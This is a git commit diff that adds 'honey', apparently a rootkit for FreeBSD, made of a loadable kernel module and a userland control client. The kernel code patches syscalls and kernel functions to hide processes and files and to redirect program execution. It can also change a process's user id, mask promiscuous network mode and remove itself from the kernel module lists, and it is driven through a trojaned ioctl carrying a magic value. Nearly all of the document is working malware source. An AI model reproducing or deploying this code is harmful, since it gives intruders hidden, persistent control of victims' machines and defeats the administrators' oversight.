diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/honey | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/honey')
| -rw-r--r-- | other/honey/README | 10 | ||||
| -rw-r--r-- | other/honey/client/Makefile | 10 | ||||
| -rw-r--r-- | other/honey/client/client.c | 136 | ||||
| -rw-r--r-- | other/honey/config.h | 28 | ||||
| -rw-r--r-- | other/honey/kern/Makefile | 8 | ||||
| -rw-r--r-- | other/honey/kern/honey.c | 507 |
6 files changed, 699 insertions, 0 deletions
diff --git a/other/honey/README b/other/honey/README new file mode 100644 index 0000000..0158510 --- /dev/null +++ b/other/honey/README | |||
| @@ -0,0 +1,10 @@ | |||
| 1 | Done - | ||
| 2 | Pid hiding/unhiding | ||
| 3 | Ping | ||
| 4 | Root | ||
| 5 | Execve redirection | ||
| 6 | File lookup hiding | ||
| 7 | Todo - | ||
| 8 | Module hiding | ||
| 9 | File directory hiding | ||
| 10 | Pid hiding in procfs | ||
diff --git a/other/honey/client/Makefile b/other/honey/client/Makefile new file mode 100644 index 0000000..a1556c5 --- /dev/null +++ b/other/honey/client/Makefile | |||
| @@ -0,0 +1,10 @@ | |||
| 1 | CFLAGS = -Wall -g -I../ | ||
| 2 | OBJS = client.o | ||
| 3 | |||
| 4 | all: client | ||
| 5 | |||
| 6 | client: $(OBJS) | ||
| 7 | $(CC) -o $@ $(OBJS) | ||
| 8 | |||
| 9 | clean: | ||
| 10 | rm -rf client $(OBJS) | ||
diff --git a/other/honey/client/client.c b/other/honey/client/client.c new file mode 100644 index 0000000..131e21f --- /dev/null +++ b/other/honey/client/client.c | |||
| @@ -0,0 +1,136 @@ | |||
| 1 | #include <stdio.h> | ||
| 2 | #include <stdlib.h> | ||
| 3 | #include <string.h> | ||
| 4 | #include <stdarg.h> | ||
| 5 | #include "config.h" | ||
| 6 | |||
| 7 | int | ||
| 8 | send_request (int command, ...) | ||
| 9 | { | ||
| 10 | char buf[8]; | ||
| 11 | va_list va; | ||
| 12 | int *ptr, s; | ||
| 13 | o2_args args; | ||
| 14 | |||
| 15 | args.command = command; | ||
| 16 | args.res = -1; | ||
| 17 | va_start (va, command); | ||
| 18 | ptr = args.args; | ||
| 19 | while ((s = va_arg (va, int))) { | ||
| 20 | *ptr++ = s; | ||
| 21 | } | ||
| 22 | memcpy (buf, EVIL_IOCTL_MAGIC, 4); | ||
| 23 | *(unsigned long **)(buf + 4) = (unsigned long *)&args; | ||
| 24 | ioctl (0, EVIL_IOCTL_COMMAND, buf); | ||
| 25 | return (args.res); | ||
| 26 | } | ||
| 27 | |||
| 28 | int | ||
| 29 | ping (int argc, char **argv) | ||
| 30 | { | ||
| 31 | if (send_request (PING_COMMAND, 0x0) == -1) { | ||
| 32 | printf ("no kld loaded\n"); | ||
| 33 | return (EXIT_FAILURE); | ||
| 34 | } else { | ||
| 35 | printf ("kld loaded!\n"); | ||
| 36 | } | ||
| 37 | return (EXIT_SUCCESS); | ||
| 38 | } | ||
| 39 | |||
| 40 | int | ||
| 41 | redir (int argc, char **argv) | ||
| 42 | { | ||
| 43 | unsigned char buf[1024]; | ||
| 44 | |||
| 45 | if (argc < 1) { | ||
| 46 | fprintf (stderr, "usage: redir <list|add|rm>\n"); | ||
| 47 | return (-1); | ||
| 48 | } | ||
| 49 | |||
| 50 | if (!strcasecmp (argv[0], "add")) { | ||
| 51 | if (argc < 3) { | ||
| 52 | fprintf (stderr, "add: <from> <to>\n"); | ||
| 53 | return (-1); | ||
| 54 | } | ||
| 55 | return (send_request (REDIR_COMMAND, REDIR_ADD, argv[1], argv[2], 0x0)); | ||
| 56 | } else if (!strcasecmp (argv[0], "list")) { | ||
| 57 | char *ptr = buf; | ||
| 58 | int cnt = 0; | ||
| 59 | |||
| 60 | if (send_request (REDIR_COMMAND, REDIR_LIST, buf, 0x0)) { | ||
| 61 | printf ("oops\n"); | ||
| 62 | return (-1); | ||
| 63 | } | ||
| 64 | |||
| 65 | for (;*ptr;++cnt) { | ||
| 66 | printf ("%d: %s -> ", cnt, ptr); | ||
| 67 | ptr += strlen(ptr) + 1; | ||
| 68 | printf ("%s\n", ptr); | ||
| 69 | ptr += strlen(ptr) + 1; | ||
| 70 | } | ||
| 71 | } else if (!strcasecmp (argv[0], "rm")) { | ||
| 72 | int cnt = 0; | ||
| 73 | |||
| 74 | cnt = atoi (argv[1]) + 1; | ||
| 75 | if (send_request (REDIR_COMMAND, REDIR_RM, cnt, 0x0)) { | ||
| 76 | printf ("oops\n"); | ||
| 77 | return (-1); | ||
| 78 | } | ||
| 79 | } | ||
| 80 | } | ||
| 81 | |||
| 82 | int | ||
| 83 | pid (int argc, char **argv) | ||
| 84 | { | ||
| 85 | int pid; | ||
| 86 | |||
| 87 | if (argc < 2) { | ||
| 88 | fprintf (stderr, "usage: pid <pid> <uid|hide|unhide> <args>\n"); | ||
| 89 | return (EXIT_FAILURE); | ||
| 90 | } | ||
| 91 | |||
| 92 | pid = atoi (argv[0]); | ||
| 93 | |||
| 94 | argc--; | ||
| 95 | argv++; | ||
| 96 | |||
| 97 | if (!strcasecmp (argv[0], "uid")) { | ||
| 98 | int uid; | ||
| 99 | |||
| 100 | if (argc < 2) { | ||
| 101 | printf ("usage: uid <uid>\n"); | ||
| 102 | return (EXIT_FAILURE); | ||
| 103 | } | ||
| 104 | uid = atoi (argv[1]); | ||
| 105 | send_request (PID_COMMAND, pid, PID_UID, uid, 0x0); | ||
| 106 | } else if (!strcasecmp (argv[0], "hide")) { | ||
| 107 | send_request (PID_COMMAND, pid, PID_HIDE, 0x0); | ||
| 108 | } else if (!strcasecmp (argv[0], "unhide")) { | ||
| 109 | send_request (PID_COMMAND, pid, PID_UNHIDE, 0x0); | ||
| 110 | } else { | ||
| 111 | return (EXIT_FAILURE); | ||
| 112 | } | ||
| 113 | |||
| 114 | return (EXIT_SUCCESS); | ||
| 115 | } | ||
| 116 | |||
| 117 | int | ||
| 118 | main (int argc, char **argv) | ||
| 119 | { | ||
| 120 | if (argc < 2) { | ||
| 121 | fprintf (stderr, "usage: <commands> <args>\n" | ||
| 122 | "\tping <args>\n" | ||
| 123 | "\tpid <args>\n"); | ||
| 124 | return (EXIT_FAILURE); | ||
| 125 | } | ||
| 126 | |||
| 127 | if (!strcasecmp (argv[1], "ping")) { | ||
| 128 | return (ping (argc - 2, argv + 2)); | ||
| 129 | } else if (!strcasecmp (argv[1], "pid")) { | ||
| 130 | return (pid (argc - 2, argv + 2)); | ||
| 131 | } else if (!strcasecmp (argv[1], "redir")) { | ||
| 132 | return (redir (argc - 2, argv + 2)); | ||
| 133 | } | ||
| 134 | |||
| 135 | return (EXIT_FAILURE); | ||
| 136 | } | ||
diff --git a/other/honey/config.h b/other/honey/config.h new file mode 100644 index 0000000..37b0964 --- /dev/null +++ b/other/honey/config.h | |||
| @@ -0,0 +1,28 @@ | |||
| 1 | #ifndef CONFIG_H | ||
| 2 | #define CONFIG_H | ||
| 3 | #include <sys/time.h> | ||
| 4 | #include <sys/ttycom.h> | ||
| 5 | |||
| 6 | #define EVIL_IOCTL_COMMAND TIOCDCDTIMESTAMP | ||
| 7 | #define EVIL_IOCTL_MAGIC "\x04\x72\x63\x46" | ||
| 8 | |||
| 9 | #define EVIL_UID 12345 | ||
| 10 | |||
| 11 | typedef struct { | ||
| 12 | unsigned int command; | ||
| 13 | unsigned int res; | ||
| 14 | unsigned int args[6]; | ||
| 15 | } o2_args; | ||
| 16 | |||
| 17 | #define PING_COMMAND 0x1 | ||
| 18 | #define PID_COMMAND 0x2 | ||
| 19 | #define PID_UID 0x1 | ||
| 20 | #define PID_HIDE 0x2 | ||
| 21 | #define PID_UNHIDE 0x3 | ||
| 22 | #define REDIR_COMMAND 0x3 | ||
| 23 | #define REDIR_ADD 0x1 | ||
| 24 | #define REDIR_RM 0x2 | ||
| 25 | #define REDIR_LIST 0x3 | ||
| 26 | #define IFPROMISC_COMMAND 0x4 | ||
| 27 | |||
| 28 | #endif /* CONFIG_H */ | ||
diff --git a/other/honey/kern/Makefile b/other/honey/kern/Makefile new file mode 100644 index 0000000..f4265a5 --- /dev/null +++ b/other/honey/kern/Makefile | |||
| @@ -0,0 +1,8 @@ | |||
| 1 | SRCS = honey.c | ||
| 2 | SRCS += vnode_if.h | ||
| 3 | CFLAGS = -I../ | ||
| 4 | KMOD = honey | ||
| 5 | |||
| 6 | .include <bsd.kmod.mk> | ||
| 7 | |||
| 8 | reload: all unload load | ||
diff --git a/other/honey/kern/honey.c b/other/honey/kern/honey.c new file mode 100644 index 0000000..6d9a160 --- /dev/null +++ b/other/honey/kern/honey.c | |||
| @@ -0,0 +1,507 @@ | |||
| 1 | /* | ||
| 2 | * 7350 freebsd kernel module | ||
| 3 | * | ||
| 4 | * z | ||
| 5 | */ | ||
| 6 | |||
| 7 | #include <sys/param.h> | ||
| 8 | #include <sys/systm.h> | ||
| 9 | #include <sys/kernel.h> | ||
| 10 | #include <sys/module.h> | ||
| 11 | #include <sys/conf.h> | ||
| 12 | #include <sys/proc.h> | ||
| 13 | #include <sys/syscall.h> | ||
| 14 | #include <sys/sysent.h> | ||
| 15 | #include <sys/sysproto.h> | ||
| 16 | #include <sys/sysctl.h> | ||
| 17 | #include <sys/ioccom.h> | ||
| 18 | #include <sys/unistd.h> | ||
| 19 | #include <sys/vnode.h> | ||
| 20 | #include <sys/imgact.h> | ||
| 21 | #include <sys/namei.h> | ||
| 22 | #include <sys/queue.h> | ||
| 23 | #include <sys/malloc.h> | ||
| 24 | #include <sys/linker.h> | ||
| 25 | #include <sys/lock.h> | ||
| 26 | #include <sys/socket.h> | ||
| 27 | #include <net/if.h> | ||
| 28 | #include <net/if_var.h> | ||
| 29 | #include "config.h" | ||
| 30 | |||
| 31 | struct hijack; | ||
| 32 | |||
| 33 | static int evil_ioctl __P((struct proc *, struct ioctl_args *)); | ||
| 34 | static int evil_fork1 __P((struct proc *, int, struct proc **)); | ||
| 35 | static int evil_out_proc __P((struct proc *, struct sysctl_req *, int)); | ||
| 36 | static int evil_execve __P((struct proc *, struct execve_args *)); | ||
| 37 | static int evil_namei __P((struct nameidata *)); | ||
| 38 | static int evil_lookup __P((struct nameidata *)); | ||
| 39 | static int evil_ifpromisc __P((struct ifnet *, int)); | ||
| 40 | static void hijack_do __P((struct hijack *)); | ||
| 41 | static void hijack_undo __P((struct hijack *)); | ||
| 42 | static int honey_modevent __P((module_t, int, void *)); | ||
| 43 | static void pid_command __P((o2_args *)); | ||
| 44 | static int redir_command __P((o2_args *)); | ||
| 45 | |||
| 46 | extern int ifpromisc __P((struct ifnet *, int)); | ||
| 47 | |||
| 48 | struct execve_redir { | ||
| 49 | TAILQ_ENTRY(execve_redir) entries; | ||
| 50 | char from[50]; | ||
| 51 | char to[50]; | ||
| 52 | }; | ||
| 53 | |||
| 54 | TAILQ_HEAD(execve_redir_head, execve_redir); | ||
| 55 | |||
| 56 | struct execve_redir_head execve_redir_head; | ||
| 57 | |||
| 58 | #define hijack_none 0x0 | ||
| 59 | #define hijack_sys 0x1 | ||
| 60 | #define hijack_func 0x2 | ||
| 61 | |||
| 62 | struct hijack { | ||
| 63 | int type; | ||
| 64 | int on; | ||
| 65 | int start; | ||
| 66 | union { | ||
| 67 | int syscall; | ||
| 68 | void *func; | ||
| 69 | } i; | ||
| 70 | void *new_func; | ||
| 71 | void *old_func; | ||
| 72 | char bytes[7]; | ||
| 73 | }; | ||
| 74 | |||
| 75 | char jumpoff[]="\xb8\x41\x41\x41\x41\xff\xe0"; | ||
| 76 | |||
| 77 | extern int sysctl_out_proc __P((struct proc *, struct sysctl_req *, int)); | ||
| 78 | |||
| 79 | #define hijack_ioctl 0x0 | ||
| 80 | #define hijack_proc 0x1 | ||
| 81 | #define hijack_fork 0x2 | ||
| 82 | #define hijack_lookup 0x3 | ||
| 83 | #define hijack_execve 0x4 | ||
| 84 | #define hijack_namei 0x5 | ||
| 85 | #define hijack_ifpromisc 0x6 | ||
| 86 | |||
| 87 | struct hijack hijacks[]= { | ||
| 88 | {hijack_sys, 0, 1, {SYS_ioctl}, evil_ioctl, 0}, | ||
| 89 | {hijack_func, 0, 1, {sysctl_out_proc}, evil_out_proc, 0}, | ||
| 90 | {hijack_func, 0, 1, {fork1}, evil_fork1, 0}, | ||
| 91 | {hijack_func, 0, 1, {lookup}, evil_lookup, 0}, | ||
| 92 | {hijack_sys, 0, 1, {SYS_execve}, evil_execve, 0}, | ||
| 93 | {hijack_func, 0, 0, {namei}, evil_namei, 0}, | ||
| 94 | {hijack_ifpromisc, 0, 0, {ifpromisc}, evil_ifpromisc, 0}, | ||
| 95 | {NULL, 0, 0, {NULL}, NULL, NULL}, | ||
| 96 | }; | ||
| 97 | |||
| 98 | #define P_HIDDEN 0x8000000 | ||
| 99 | |||
| 100 | static int | ||
| 101 | evil_ifpromisc (ifp, pswitch) | ||
| 102 | struct ifnet *ifp; | ||
| 103 | int pswitch; | ||
| 104 | { | ||
| 105 | int ret; | ||
| 106 | |||
| 107 | hijack_undo(&hijacks[hijack_ifpromisc]); | ||
| 108 | |||
| 109 | ifp->if_pcount++; | ||
| 110 | |||
| 111 | ret = ifpromisc (ifp, pswitch); | ||
| 112 | |||
| 113 | ifp->if_pcount--; | ||
| 114 | |||
| 115 | return (ret); | ||
| 116 | } | ||
| 117 | |||
| 118 | static int | ||
| 119 | evil_lookup (ndp) | ||
| 120 | struct nameidata *ndp; | ||
| 121 | { | ||
| 122 | register int ret; | ||
| 123 | struct vattr attr; | ||
| 124 | |||
| 125 | hijack_undo(&hijacks[hijack_lookup]); | ||
| 126 | ret = lookup (ndp); | ||
| 127 | hijack_do(&hijacks[hijack_lookup]); | ||
| 128 | |||
| 129 | if (ret != 0 || ndp->ni_vp == 0) | ||
| 130 | return (ret); | ||
| 131 | |||
| 132 | if (VOP_GETATTR (ndp->ni_vp, &attr, VNOVAL, ndp->ni_cnd.cn_proc)) | ||
| 133 | return (ret); | ||
| 134 | |||
| 135 | if (attr.va_uid != EVIL_UID) | ||
| 136 | return (ret); | ||
| 137 | |||
| 138 | /* hide the crap now */ | ||
| 139 | |||
| 140 | if (ndp->ni_cnd.cn_flags & LOCKLEAF && ndp->ni_vp) { | ||
| 141 | vput (ndp->ni_vp); | ||
| 142 | ndp->ni_vp = NULL; | ||
| 143 | } | ||
| 144 | |||
| 145 | if (ndp->ni_cnd.cn_flags & LOCKPARENT && ndp->ni_dvp) { | ||
| 146 | vput (ndp->ni_dvp); | ||
| 147 | ndp->ni_dvp = NULL; | ||
| 148 | } | ||
| 149 | |||
| 150 | return (ENOENT); | ||
| 151 | } | ||
| 152 | |||
| 153 | /* to redirect execve we hook namei only when execve is called */ | ||
| 154 | |||
| 155 | static int | ||
| 156 | evil_namei (ndp) | ||
| 157 | struct nameidata *ndp; | ||
| 158 | { | ||
| 159 | char mybuf[MAXPATHLEN]; | ||
| 160 | int done; | ||
| 161 | struct execve_redir *ptr; | ||
| 162 | |||
| 163 | hijack_undo(&hijacks[hijack_namei]); | ||
| 164 | |||
| 165 | if (ndp->ni_segflg != UIO_USERSPACE) | ||
| 166 | goto out; | ||
| 167 | |||
| 168 | if (copyinstr (ndp->ni_dirp, mybuf, MAXPATHLEN, &done)) | ||
| 169 | goto out; | ||
| 170 | |||
| 171 | TAILQ_FOREACH(ptr, &execve_redir_head, entries) { | ||
| 172 | if (strcmp (ptr->from, ndp->ni_dirp)) | ||
| 173 | continue; | ||
| 174 | /* it matches.. */ | ||
| 175 | |||
| 176 | ndp->ni_dirp = ptr->to; | ||
| 177 | ndp->ni_segflg = UIO_SYSSPACE; | ||
| 178 | break; | ||
| 179 | } | ||
| 180 | out: | ||
| 181 | return (namei (ndp)); | ||
| 182 | } | ||
| 183 | |||
| 184 | static int | ||
| 185 | evil_execve (p, uap) | ||
| 186 | struct proc *p; | ||
| 187 | struct execve_args *uap; | ||
| 188 | { | ||
| 189 | hijack_do(&hijacks[hijack_namei]); | ||
| 190 | return (execve (p, uap)); | ||
| 191 | } | ||
| 192 | |||
| 193 | static int | ||
| 194 | evil_out_proc (p, req, doingzomb) | ||
| 195 | struct proc *p; | ||
| 196 | struct sysctl_req *req; | ||
| 197 | int doingzomb; | ||
| 198 | { | ||
| 199 | int res; | ||
| 200 | |||
| 201 | if ((p->p_flag & P_HIDDEN) && !(req->p->p_flag & P_HIDDEN)) | ||
| 202 | return (0); | ||
| 203 | |||
| 204 | hijack_undo (&hijacks[hijack_proc]); | ||
| 205 | res = sysctl_out_proc (p, req, doingzomb); | ||
| 206 | hijack_do (&hijacks[hijack_proc]); | ||
| 207 | |||
| 208 | return (res); | ||
| 209 | } | ||
| 210 | |||
| 211 | /* evil ioctl algorithm | ||
| 212 | * | ||
| 213 | * the way i do this is trojan an existing ioctl such that our evil ioctl | ||
| 214 | * is only triggered if the structure contains certain data | ||
| 215 | */ | ||
| 216 | |||
| 217 | static void | ||
| 218 | pid_command (args) | ||
| 219 | o2_args *args; | ||
| 220 | { | ||
| 221 | struct proc *p; | ||
| 222 | |||
| 223 | args->res = 1; | ||
| 224 | p = pfind (args->args[0]); | ||
| 225 | if (p == NULL) | ||
| 226 | return; | ||
| 227 | |||
| 228 | switch (args->args[1]) { | ||
| 229 | case PID_UID: | ||
| 230 | p->p_cred->p_ruid = args->args[2]; | ||
| 231 | break; | ||
| 232 | case PID_HIDE: | ||
| 233 | p->p_flag |= P_HIDDEN; | ||
| 234 | break; | ||
| 235 | case PID_UNHIDE: | ||
| 236 | p->p_flag &= ~P_HIDDEN; | ||
| 237 | break; | ||
| 238 | } | ||
| 239 | |||
| 240 | return; | ||
| 241 | } | ||
| 242 | |||
| 243 | static int | ||
| 244 | redir_command (args) | ||
| 245 | o2_args *args; | ||
| 246 | { | ||
| 247 | struct execve_redir *ptr; | ||
| 248 | unsigned int done, cnt = 0; | ||
| 249 | caddr_t addr; | ||
| 250 | |||
| 251 | args->res = 1; | ||
| 252 | |||
| 253 | switch (args->args[0]) { | ||
| 254 | case REDIR_ADD: | ||
| 255 | ptr = malloc(sizeof(*ptr), M_TEMP, M_WAITOK); | ||
| 256 | if (!ptr) | ||
| 257 | return (-1); | ||
| 258 | if (copyinstr((void *)args->args[1], ptr->from, 50, &done)) { | ||
| 259 | free (ptr, M_TEMP); | ||
| 260 | return (-1); | ||
| 261 | } | ||
| 262 | |||
| 263 | if (copyinstr((void *)args->args[2], ptr->to, 50, &done)) { | ||
| 264 | free(ptr, M_TEMP); | ||
| 265 | return (-1); | ||
| 266 | } | ||
| 267 | TAILQ_INSERT_TAIL (&execve_redir_head, ptr, entries); | ||
| 268 | args->res = 0; | ||
| 269 | break; | ||
| 270 | |||
| 271 | case REDIR_RM: | ||
| 272 | cnt = args->args[1] - 1; | ||
| 273 | if (cnt > 10) | ||
| 274 | return (-1); | ||
| 275 | |||
| 276 | ptr = TAILQ_FIRST(&execve_redir_head); | ||
| 277 | if (!ptr) | ||
| 278 | return (-1); | ||
| 279 | |||
| 280 | while (cnt-- && ptr) { | ||
| 281 | ptr = TAILQ_NEXT(ptr, entries); | ||
| 282 | if (!ptr) | ||
| 283 | return (-1); | ||
| 284 | } | ||
| 285 | TAILQ_REMOVE(&execve_redir_head, ptr, entries); | ||
| 286 | free (ptr, M_TEMP); | ||
| 287 | break; | ||
| 288 | |||
| 289 | case REDIR_LIST: | ||
| 290 | ptr = TAILQ_FIRST(&execve_redir_head); | ||
| 291 | addr = (caddr_t)args->args[1]; | ||
| 292 | |||
| 293 | while (cnt < 10 && ptr) { | ||
| 294 | ++cnt; | ||
| 295 | |||
| 296 | if (copyout (ptr->from, addr, strlen(ptr->from)+1)) { | ||
| 297 | return (-1); | ||
| 298 | } | ||
| 299 | addr += strlen(ptr->from) + 1; | ||
| 300 | if (copyout (ptr->to, addr, strlen(ptr->to)+1)) { | ||
| 301 | return (-1); | ||
| 302 | } | ||
| 303 | addr += strlen(ptr->to) + 1; | ||
| 304 | ptr = TAILQ_NEXT(ptr, entries); | ||
| 305 | } | ||
| 306 | if (copyout ("", addr, 1)) | ||
| 307 | return (-1); | ||
| 308 | break; | ||
| 309 | } | ||
| 310 | args->res = 0; | ||
| 311 | |||
| 312 | return (0); | ||
| 313 | } | ||
| 314 | |||
| 315 | static int | ||
| 316 | evil_ioctl (p, uap) | ||
| 317 | struct proc *p; | ||
| 318 | struct ioctl_args *uap; | ||
| 319 | { | ||
| 320 | unsigned char buf[8]; | ||
| 321 | o2_args args; | ||
| 322 | caddr_t addr; | ||
| 323 | |||
| 324 | if (uap->com == EVIL_IOCTL_COMMAND) { | ||
| 325 | if (copyin (uap->data, buf, 8)) | ||
| 326 | goto out; | ||
| 327 | if (memcmp(buf, EVIL_IOCTL_MAGIC, 4)) | ||
| 328 | goto out; | ||
| 329 | addr = (caddr_t)*(unsigned long *)(buf + 4); | ||
| 330 | if (copyin (addr, &args, sizeof(o2_args))) | ||
| 331 | goto out; | ||
| 332 | switch (args.command) { | ||
| 333 | case PING_COMMAND: | ||
| 334 | args.res = 0; | ||
| 335 | break; | ||
| 336 | case PID_COMMAND: | ||
| 337 | pid_command (&args); | ||
| 338 | break; | ||
| 339 | case REDIR_COMMAND: | ||
| 340 | redir_command (&args); | ||
| 341 | break; | ||
| 342 | case IFPROMISC_COMMAND: | ||
| 343 | hijack_do(&hijacks[hijack_ifpromisc]); | ||
| 344 | break; | ||
| 345 | } | ||
| 346 | copyout (&args, addr, sizeof(o2_args)); | ||
| 347 | } | ||
| 348 | out: | ||
| 349 | return (ioctl (p, uap)); | ||
| 350 | } | ||
| 351 | |||
| 352 | int | ||
| 353 | evil_fork1 (p, flags, procp) | ||
| 354 | struct proc *p; | ||
| 355 | int flags; | ||
| 356 | struct proc **procp; | ||
| 357 | { | ||
| 358 | int error; | ||
| 359 | |||
| 360 | hijack_undo (&hijacks[hijack_fork]); | ||
| 361 | error = fork1 (p, flags, procp); | ||
| 362 | hijack_do (&hijacks[hijack_fork]); | ||
| 363 | |||
| 364 | if (error == 0 && (p->p_flag & P_HIDDEN)) | ||
| 365 | (*procp)->p_flag |= P_HIDDEN; | ||
| 366 | |||
| 367 | return error; | ||
| 368 | } | ||
| 369 | |||
| 370 | static void | ||
| 371 | hijack_do (ptr) | ||
| 372 | struct hijack *ptr; | ||
| 373 | { | ||
| 374 | if (ptr->on != 0) | ||
| 375 | return; | ||
| 376 | |||
| 377 | switch (ptr->type) { | ||
| 378 | case hijack_sys: | ||
| 379 | ptr->on = 1; | ||
| 380 | ptr->old_func = (void *)sysent[ptr->i.syscall].sy_call; | ||
| 381 | sysent[ptr->i.syscall].sy_call = ptr->new_func; | ||
| 382 | break; | ||
| 383 | case hijack_func: | ||
| 384 | ptr->on = 1; | ||
| 385 | ptr->old_func = ptr->i.func; | ||
| 386 | *(unsigned long *)(jumpoff+1) = (unsigned long)ptr->new_func; | ||
| 387 | memcpy (ptr->bytes, ptr->old_func, 7); | ||
| 388 | memcpy (ptr->old_func, jumpoff, 7); | ||
| 389 | break; | ||
| 390 | } | ||
| 391 | } | ||
| 392 | |||
| 393 | static void | ||
| 394 | hijack_undo (ptr) | ||
| 395 | struct hijack *ptr; | ||
| 396 | { | ||
| 397 | if (ptr->on != 1) | ||
| 398 | return; | ||
| 399 | |||
| 400 | switch (ptr->type) { | ||
| 401 | case hijack_sys: | ||
| 402 | sysent[ptr->i.syscall].sy_call = (sy_call_t *)ptr->old_func; | ||
| 403 | ptr->on = 0; | ||
| 404 | break; | ||
| 405 | case hijack_func: | ||
| 406 | ptr->on = 0; | ||
| 407 | memcpy (ptr->old_func, ptr->bytes, 7); | ||
| 408 | break; | ||
| 409 | } | ||
| 410 | } | ||
| 411 | |||
| 412 | static void | ||
| 413 | hijack_init (void) | ||
| 414 | { | ||
| 415 | struct hijack *ptr; | ||
| 416 | |||
| 417 | for (ptr = hijacks; ptr->new_func; ptr++) { | ||
| 418 | if (ptr->start) | ||
| 419 | hijack_do (ptr); | ||
| 420 | } | ||
| 421 | } | ||
| 422 | |||
| 423 | static void | ||
| 424 | hijack_fini (void) | ||
| 425 | { | ||
| 426 | struct hijack *ptr; | ||
| 427 | |||
| 428 | for (ptr = hijacks; ptr->new_func; ptr++) { | ||
| 429 | hijack_undo (ptr); | ||
| 430 | } | ||
| 431 | } | ||
| 432 | |||
| 433 | /* ripped from adorebsd */ | ||
| 434 | typedef TAILQ_HEAD(, module) modulelist_t; | ||
| 435 | extern linker_file_list_t linker_files; | ||
| 436 | extern int next_file_id; | ||
| 437 | extern modulelist_t modules; | ||
| 438 | extern int nextid; | ||
| 439 | extern struct lock lock; | ||
| 440 | |||
| 441 | struct module { | ||
| 442 | TAILQ_ENTRY(module) link; | ||
| 443 | TAILQ_ENTRY(module) flink; | ||
| 444 | struct linker_file *file; | ||
| 445 | int refs; | ||
| 446 | int id; | ||
| 447 | char *name; | ||
| 448 | modeventhand_t handler; | ||
| 449 | void *arg; | ||
| 450 | modspecific_t data; | ||
| 451 | }; | ||
| 452 | |||
| 453 | void | ||
| 454 | hide_ourselves (void) | ||
| 455 | { | ||
| 456 | linker_file_t lf = NULL; | ||
| 457 | module_t mod = NULL; | ||
| 458 | |||
| 459 | lockmgr(&lock, LK_SHARED, 0, curproc); | ||
| 460 | |||
| 461 | (&linker_files)->tqh_first->refs--; | ||
| 462 | for(lf = (&linker_files)->tqh_first; lf; lf = (lf)->link.tqe_next) { | ||
| 463 | if(strcmp(lf->filename, "honey.ko") == 0) { | ||
| 464 | next_file_id--; | ||
| 465 | if(((lf)->link.tqe_next) != NULL) | ||
| 466 | (lf)->link.tqe_next->link.tqe_prev = (lf)->link.tqe_prev; | ||
| 467 | else | ||
| 468 | (&linker_files)->tqh_last = (lf)->link.tqe_prev; | ||
| 469 | *(lf)->link.tqe_prev = (lf)->link.tqe_next; | ||
| 470 | break; | ||
| 471 | } | ||
| 472 | } | ||
| 473 | |||
| 474 | lockmgr(&lock, LK_RELEASE, 0, curproc); | ||
| 475 | for(mod = TAILQ_FIRST(&modules); mod; mod = TAILQ_NEXT(mod, link)) { | ||
| 476 | if(!strcmp(mod->name, "honey")) { | ||
| 477 | nextid--; | ||
| 478 | TAILQ_REMOVE(&modules, mod, link); | ||
| 479 | } | ||
| 480 | } | ||
| 481 | } | ||
| 482 | |||
| 483 | static int | ||
| 484 | honey_modevent (mod, type, data) | ||
| 485 | module_t mod; | ||
| 486 | int type; | ||
| 487 | void * data; | ||
| 488 | { | ||
| 489 | switch (type) { | ||
| 490 | case MOD_LOAD: | ||
| 491 | hide_ourselves(); | ||
| 492 | hijack_init (); | ||
| 493 | TAILQ_INIT(&execve_redir_head); | ||
| 494 | break; | ||
| 495 | case MOD_UNLOAD: | ||
| 496 | hijack_fini (); | ||
| 497 | break; | ||
| 498 | } | ||
| 499 | |||
| 500 | return (0); | ||
| 501 | } | ||
| 502 | |||
| 503 | DEV_MODULE(honey, honey_modevent, NULL); | ||
| 504 | |||
| 505 | /* | ||
| 506 | * vim: ts=8 | ||
| 507 | */ | ||
